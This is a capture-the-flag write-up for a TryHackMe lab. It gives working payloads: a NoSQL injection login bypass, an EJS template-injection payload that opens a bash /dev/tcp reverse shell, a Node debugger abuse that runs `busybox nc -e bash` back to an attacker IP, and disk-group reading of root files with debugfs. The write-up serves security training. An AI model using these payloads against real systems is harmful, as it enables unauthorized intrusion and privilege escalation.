> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/do-not-disturb.md).

# Do Not Disturb

{% embed url="<https://tryhackme.com/room/hh-donotdisturb-84a45644>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

Sign's on the door. Room's active. You have access you were never given, and so does he.

The anomalies stop being anomalies: a session goes warm on a sunbed, and a stranger sits down in it, a wallet signs a transaction its owner didn't authorise, a shell on the beach answers back. And it becomes clear that whoever's already inside has been moving for far longer than you have.

The Byte Lotus poolside platform tracks every cabana, every sunbed, every warm session. Byte Lotus never forgets. Someone is already inside. Follow his footprints in, climb the way he climbed, and recover both flag

## Summary

<details>

<summary>Summary</summary>

In Do Not Disturb we start unauthenticated against a Linux host running SSH and a Node.js "Byte Lotus Poolside" web app. The login page hints at an `attendant` user, and with `SQLMap` coming up empty, we pivot to NoSQL injection on the assumed Node.js/MongoDB stack. An operator payload (`password[$ne]=asdf`) bypasses auth and lands us on `/staff`. There the guest confirmation message exposes raw EJS delimiters (`<%= guest %>`), so we abuse the template injection, break out via `this.constructor.constructor` to reach the Node `process` global, and spawn a reverse shell as `poolside`, grabbing the user flag.

LinPEAS reveals a pipeline running `node --inspect=127.0.0.1:9229`, so we attach with `node inspect`, evaluate JavaScript through `child_process`, and pivot to `pipelinesvc`. That account has the `disk group`, granting raw block-device access, so we open the root partition `/dev/nvme0n1p1` with `debugfs -w` and read `/root/root.txt` directly, bypassing file permissions entirely.

</details>

## Recon

We use `rustscan -b 500 -a 10.114.181.5 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap, which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.114.181.5 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/DTCak74EDh0Itb9fqC3Z" alt=""><figcaption></figcaption></figure>

We have SSH available on port `22` and a Node.js web server on port `80` hosting a page titled 'Byte Lotus Poolside.

<figure><img src="/files/IHmQVrEbrUFQ9JIQxr8W" alt=""><figcaption></figcaption></figure>

We're focusing on the web server and running a directory scan using Feroxbuster. Here, we only find the `staff` page, which we currently can't access.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 'http://donotdisturb.thm/'
```

{% endcode %}

<figure><img src="/files/wuspHIGRc7Y9jTC0VTtv" alt=""><figcaption></figcaption></figure>

We'll proceed manually and visit the index page.We see a login page with a suggested username, `attendant`.

{% code overflow="wrap" expandable="true" %}

```
http://10.114.181.5/
```

{% endcode %}

<figure><img src="/files/qB3hri9q2txCq2ehF4WG" alt=""><figcaption></figcaption></figure>

## Shell as poolside

Since we're looking at a login page, let's try different ways to bypass it like SQL injection. But first let's catch a login request in Burp Suite to use that as a basis.

{% code overflow="wrap" expandable="true" %}

```
http://donotdisturb.thm
```

{% endcode %}

<figure><img src="/files/5pyRKN7mNIyqVOFR8vfp" alt=""><figcaption></figcaption></figure>

We initially used the request we intercepted with SQLMap, but no vulnerability was found. Since Node.js and MongoDB are one of the most common pairings in web development, we decided to try some NoSQL injection payloads instead. We switched the `Content-Type` to `application/json` and submitted the following payload:

{% code overflow="wrap" expandable="true" %}

```
{"username":{"$ne":null},"password":{"$ne":null}}
```

{% endcode %}

The idea here is that `$ne` MongoDB's "not equal" operator turns the query into "find a user whose username is not null **and** whose password is not null". This matches essentially every record in the collection rather than checking specific credentials.

As a result, the server returned a `connect.sid` cookie and a response with `ok` status set to `true` and `role: staff`. However, this did not actually log us in.

<figure><img src="/files/UPIBO1Ozioliu0H1Fw5f" alt=""><figcaption></figcaption></figure>

We switch the `Content-Type` back to `application/x-www-form-urlencoded`. We intercept another login request, we change the parameters to try to log in as `attendant` with `password[$ne]=asdf` and then forward the request.

{% code overflow="wrap" expandable="true" %}

```
username=attendant&password[$ne]=asdf
```

{% endcode %}

<figure><img src="/files/ajvCUpfZTVfNFtVEAuYk" alt=""><figcaption></figcaption></figure>

We get redirected to the `/staff` page. Here we can change the guest booking confirmation message -"Dear <%= guest %>, your Byte Lotus cabana is confirmed." - and preview the message.&#x20;

This looks like SSTI, because the editable message contains raw EJS delimiters `<%= guest %>`, suggesting our input is compiled server-side as a Node.js EJS template rather than treated as plain data. EJS `<% %>` scriptlet tags execute arbitrary JavaScript since templates compile down to JS functions.

{% code overflow="wrap" expandable="true" %}

```
http://donotdisturb.thm/staff
```

{% endcode %}

<figure><img src="/files/KNwbwcKnH7MXvGPidJOe" alt=""><figcaption></figcaption></figure>

We evaluate an example using just the `guest` variable, and in the preview, `attendee` shows up.

<figure><img src="/files/6No7iHysymccE7D5VpXn" alt=""><figcaption></figcaption></figure>

We try to spawn a reverse shell by executing a Node.js JavaScript payload through the EJS template. First, we prepare a listener using penelope:

{% embed url="<https://github.com/brightio/penelope>" %}

{% code overflow="wrap" expandable="true" %}

```
penelope -p 4445
```

{% endcode %}

Then we submit the following EJS reverse shell payload:

{% code overflow="wrap" expandable="true" %}

```
<%= (function(){ this.constructor.constructor("return process")().mainModule.require("child_process").spawn("bash", ["-c", "bash -i >& /dev/tcp/192.168.141.17/4445 0>&1"], {detached: true}); return "sent"; })() %>
```

{% endcode %}

The payload abuses the fact that EJS compiles templates into JavaScript functions, so an expression tag runs in a real Node.js context.&#x20;

It breaks out of the sandbox using `this.constructor.constructor`.

The `this.constructor` is the `Object` constructor, and *its* `.constructor` is the `Function` constructor, which lets us build and immediately call a new function from a string (`"return process"`). That hands back the Node `process` global even though it wasn't in the template's local scope. From `process` we reach `mainModule.require`, pull in `child_process`, and `spawn` a bash reverse shell that connects back to our listener. The `return "sent"` just gives the preview something harmless to render so it doesn't error out. The `{detached: true}` keeps the shell alive independently of the request.

<figure><img src="/files/CmxXrqUwO44QxUX8RzUO" alt=""><figcaption></figcaption></figure>

After submitting the reverse shell via preview we hit a connection back and are the user `poolside`. We find the user flag at `/opt/poolside/user.txt`.

<figure><img src="/files/Do18N8KvVwhXTYh4Xcu5" alt=""><figcaption></figcaption></figure>

## Shell as pipelinesvc

Looking at the running processes from our Linpeas output, we find a pipeline process executing:

```
/usr/bin/node --inspect=127.0.0.1:9229 processor.js
```

The `--inspect=127.0.0.1:9229` flag means the Node.js process has the debugger enabled, listening on `127.0.0.1:9229`. This is a well-known local privilege-escalation and lateral-movement vector. Anyone who can reach that port can attach a debugger to the process, evaluate arbitrary JavaScript in its context, and thereby run code as whatever user owns that process, which in this case is likely `pipelinesvc`.

<figure><img src="/files/xL0TWsCEPsgM5jaoTYMo" alt=""><figcaption></figcaption></figure>

We confirm the debugger is reachable and get its info.

{% code overflow="wrap" expandable="true" %}

```
curl http://127.0.0.1:9229/json
```

{% endcode %}

We attach using Node's built-in CLI debugger client. This drops us into an interactive debugger attached to the running process.

{% code overflow="wrap" expandable="true" %}

```
node inspect 127.0.0.1:9229
```

{% endcode %}

Next, we use the debugger's JavaScript evaluation to run the `id` command through Node's `child_process` module, returning the output as text to reveal the process owner `pipelinesvc`.

{% code overflow="wrap" expandable="true" %}

```
exec (process.mainModule.require('child_process').execSync('id').toString())
```

{% endcode %}

<figure><img src="/files/4e6XcTi1tF3HhO1PWdw6" alt=""><figcaption></figcaption></figure>

Since we have confirmed command execution as `pipelinesvc`, we spawn a reverse shell to connect back to our already-running penelope listener. We receive a connection back:

{% code overflow="wrap" expandable="true" %}

```
exec (process.mainModule.require('child_process').execSync('busybox nc 192.168.141.17 4445 -e bash').toString())
```

{% endcode %}

To detach the current session through pressing the `F12` key..

{% code overflow="wrap" expandable="true" %}

```
F12
```

{% endcode %}

... and we jump into the newly spawned session 2. We now have an interactive shell as `pipelinesvc`:

{% code overflow="wrap" expandable="true" %}

```
sessions 2
```

{% endcode %}

<figure><img src="/files/QE0DcdpPJBOgNGfYmNGg" alt=""><figcaption></figcaption></figure>

Checking our privileges, we find that the user is a member of the `disk` group. Membership in the `disk` group grants us raw read/write access to the underlying block devices bypassing file permissions entirely.

{% code overflow="wrap" expandable="true" %}

```
id
```

{% endcode %}

<figure><img src="/files/BsmQffqrcpK0ogs8j0Ol" alt=""><figcaption></figcaption></figure>

We list the block devices to identify the root filesystem partition and identify `/dev/nvme0n1p1` as the root partition.

{% code overflow="wrap" expandable="true" %}

```
lsblk
```

{% endcode %}

<figure><img src="/files/a8mocBTVstkPXqtqu3TD" alt=""><figcaption></figcaption></figure>

We then open the root partition with `debugfs` in write mode.

The tool `debugfs` is a filesystem debugger which lets us traverse and read the filesystem directly through the block device.

{% code overflow="wrap" expandable="true" %}

```
debugfs -w /dev/nvme0n1p1
```

{% endcode %}

<figure><img src="/files/l4svQyswR2nxEdwcMHkD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/p9u7QSGo5jr0nFW2tsrv" alt=""><figcaption></figcaption></figure>

From ther, we can read all files including the root flag located at `/root/root.txt`.

{% code overflow="wrap" expandable="true" %}

```
cat /root/root.txt
```

{% endcode %}

<figure><img src="/files/n7Mh3eszgM6rqQtiGTc4" alt=""><figcaption></figcaption></figure>
